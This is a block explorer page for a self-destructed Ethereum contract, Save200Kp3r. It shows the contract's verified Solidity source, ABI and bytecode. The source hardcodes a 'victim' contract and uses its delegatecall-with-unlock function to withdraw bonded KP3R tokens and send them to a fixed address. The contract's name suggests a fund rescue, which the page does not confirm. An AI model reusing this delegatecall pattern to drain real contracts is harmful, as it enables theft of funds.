Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Funded By
N/A
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
12281687 | 1403 days ago | 0 ETH |
Loading...
Loading
Contract Self Destruct called at Txn Hash 0xed926708c208f0ab6d42531fce9516806c5668153237f77de102527fdedf9d11
Contract Source Code Verified (Exact Match)
Contract Name:
Save200Kp3r
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-04-18 */ // SPDX-License-Identifier: NONE pragma solidity 0.8.1; // Part: IErc20 interface IErc20 { function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function balanceOf(address) external view returns (uint); function allowance(address _owner, address _spender) external view returns (uint256 remaining); } // Part: IKp3r interface IKp3r { function withdraw(address bonding) external; function resolve(address keeper) external; function dispute(address keeper) external; function balanceOf(address keeper) view external returns (uint256); } // Part: IVictimContract interface IVictimContract { function Unlock(uint256 b) external ; function DelegateCallWithUnlock(address target,bool allowRevert, bytes memory data) external returns (bytes memory response); } // File: Save200Kp3r.sol contract Save200Kp3r { address private constant _deployer = 0x8CC1cFdc1C60C19a1d7C0fa3c042a4916AA79a51; address private constant _victim=0xdd0fBEcCba0aA4Cc56b861D514e09f49Bcc6D0C5; address private constant _sendRestTo=0x661047E7f94450D8a0C5d82FAd0E93f5ad681914; address private constant _kp3r = 0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44; event Log(address); constructor() { } function Withdraw() public { IVictimContract(_victim).Unlock(block.number); bytes memory data=abi.encodeWithSignature("WithdrawInternal()"); bytes memory data2=abi.encodeWithSignature("DelegateCallWithUnlock(address,bool,bytes)",address(this),false,data); uint256 balanceBefore=IErc20(_kp3r).balanceOf(_sendRestTo); _victim.call(data2); uint256 balanceAfter=IErc20(_kp3r).balanceOf(_sendRestTo); if(balanceBefore==balanceAfter){ revert("tokens not arrived");//just in case to return tokens back to bond address } selfdestruct(payable(_sendRestTo)); } //executes in VICTIM contract context function WithdrawInternal() public { IKp3r(_kp3r).withdraw(_kp3r); uint256 balance=IErc20(_kp3r).balanceOf(address(this)); IErc20(_kp3r).transfer(_sendRestTo,balance);//no funds on Save200Kp3r - so it is safe //selfdestruct(payable(_sendRestTo)); //Destruct victim contract } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"Log","type":"event"},{"inputs":[],"name":"Withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WithdrawInternal","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561001057600080fd5b50610619806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80634965c3f11461003b57806357ea89b614610045575b600080fd5b61004361004d565b005b6100436101e6565b6040516351cff8d960e01b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a44906351cff8d990610084908390600401610506565b600060405180830381600087803b15801561009e57600080fd5b505af11580156100b2573d6000803e3d6000fd5b50506040516370a0823160e01b815260009250731ceb5cb57c4d4e2b2433641b95dd330a33185a4491506370a08231906100f0903090600401610506565b60206040518083038186803b15801561010857600080fd5b505afa15801561011c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014091906104d2565b60405163a9059cbb60e01b8152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a449063a9059cbb906101909073661047e7f94450d8a0c5d82fad0e93f5ad681914908590600401610565565b602060405180830381600087803b1580156101aa57600080fd5b505af11580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906104ab565b5050565b604051634195129d60e11b815273dd0fbeccba0aa4cc56b861d514e09f49bcc6d0c59063832a253a9061021d9043906004016105aa565b600060405180830381600087803b15801561023757600080fd5b505af115801561024b573d6000803e3d6000fd5b50506040805160048152602480820183526020820180516001600160e01b0316634965c3f160e01b17905291519093506000925061028f913091849186910161051a565b60408051601f198184030181529181526020820180516001600160e01b0316639551a2a960e01b179052516370a0823160e01b8152909150600090731ceb5cb57c4d4e2b2433641b95dd330a33185a44906370a08231906103089073661047e7f94450d8a0c5d82fad0e93f5ad68191490600401610506565b60206040518083038186803b15801561032057600080fd5b505afa158015610334573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035891906104d2565b905073dd0fbeccba0aa4cc56b861d514e09f49bcc6d0c56001600160a01b03168260405161038691906104ea565b6000604051808303816000865af19150503d80600081146103c3576040519150601f19603f3d011682016040523d82523d6000602084013e6103c8565b606091505b50506040516370a0823160e01b815260009150731ceb5cb57c4d4e2b2433641b95dd330a33185a44906370a08231906104199073661047e7f94450d8a0c5d82fad0e93f5ad68191490600401610506565b60206040518083038186803b15801561043157600080fd5b505afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046991906104d2565b9050808214156104945760405162461bcd60e51b815260040161048b9061057e565b60405180910390fd5b73661047e7f94450d8a0c5d82fad0e93f5ad681914ff5b6000602082840312156104bc578081fd5b815180151581146104cb578182fd5b9392505050565b6000602082840312156104e3578081fd5b5051919050565b600082516104fc8184602087016105b3565b9190910192915050565b6001600160a01b0391909116815260200190565b600060018060a01b0385168252831515602083015260606040830152825180606084015261054f8160808501602087016105b3565b601f01601f191691909101608001949350505050565b6001600160a01b03929092168252602082015260400190565b6020808252601290820152711d1bdad95b9cc81b9bdd08185c9c9a5d995960721b604082015260600190565b90815260200190565b60005b838110156105ce5781810151838201526020016105b6565b838111156105dd576000848401525b5050505056fea2646970667358221220b204b8826d382455f4e281acb25d7cb34f8bc3ec4cbd2c39b9bdba025e98e09e64736f6c63430008010033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80634965c3f11461003b57806357ea89b614610045575b600080fd5b61004361004d565b005b6100436101e6565b6040516351cff8d960e01b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a44906351cff8d990610084908390600401610506565b600060405180830381600087803b15801561009e57600080fd5b505af11580156100b2573d6000803e3d6000fd5b50506040516370a0823160e01b815260009250731ceb5cb57c4d4e2b2433641b95dd330a33185a4491506370a08231906100f0903090600401610506565b60206040518083038186803b15801561010857600080fd5b505afa15801561011c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014091906104d2565b60405163a9059cbb60e01b8152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a449063a9059cbb906101909073661047e7f94450d8a0c5d82fad0e93f5ad681914908590600401610565565b602060405180830381600087803b1580156101aa57600080fd5b505af11580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906104ab565b5050565b604051634195129d60e11b815273dd0fbeccba0aa4cc56b861d514e09f49bcc6d0c59063832a253a9061021d9043906004016105aa565b600060405180830381600087803b15801561023757600080fd5b505af115801561024b573d6000803e3d6000fd5b50506040805160048152602480820183526020820180516001600160e01b0316634965c3f160e01b17905291519093506000925061028f913091849186910161051a565b60408051601f198184030181529181526020820180516001600160e01b0316639551a2a960e01b179052516370a0823160e01b8152909150600090731ceb5cb57c4d4e2b2433641b95dd330a33185a44906370a08231906103089073661047e7f94450d8a0c5d82fad0e93f5ad68191490600401610506565b60206040518083038186803b15801561032057600080fd5b505afa158015610334573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035891906104d2565b905073dd0fbeccba0aa4cc56b861d514e09f49bcc6d0c56001600160a01b03168260405161038691906104ea565b6000604051808303816000865af19150503d80600081146103c3576040519150601f19603f3d011682016040523d82523d6000602084013e6103c8565b606091505b50506040516370a0823160e01b815260009150731ceb5cb57c4d4e2b2433641b95dd330a33185a44906370a08231906104199073661047e7f94450d8a0c5d82fad0e93f5ad68191490600401610506565b60206040518083038186803b15801561043157600080fd5b505afa158015610445573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046991906104d2565b9050808214156104945760405162461bcd60e51b815260040161048b9061057e565b60405180910390fd5b73661047e7f94450d8a0c5d82fad0e93f5ad681914ff5b6000602082840312156104bc578081fd5b815180151581146104cb578182fd5b9392505050565b6000602082840312156104e3578081fd5b5051919050565b600082516104fc8184602087016105b3565b9190910192915050565b6001600160a01b0391909116815260200190565b600060018060a01b0385168252831515602083015260606040830152825180606084015261054f8160808501602087016105b3565b601f01601f191691909101608001949350505050565b6001600160a01b03929092168252602082015260400190565b6020808252601290820152711d1bdad95b9cc81b9bdd08185c9c9a5d995960721b604082015260600190565b90815260200190565b60005b838110156105ce5781810151838201526020016105b6565b838111156105dd576000848401525b5050505056fea2646970667358221220b204b8826d382455f4e281acb25d7cb34f8bc3ec4cbd2c39b9bdba025e98e09e64736f6c63430008010033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 31 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.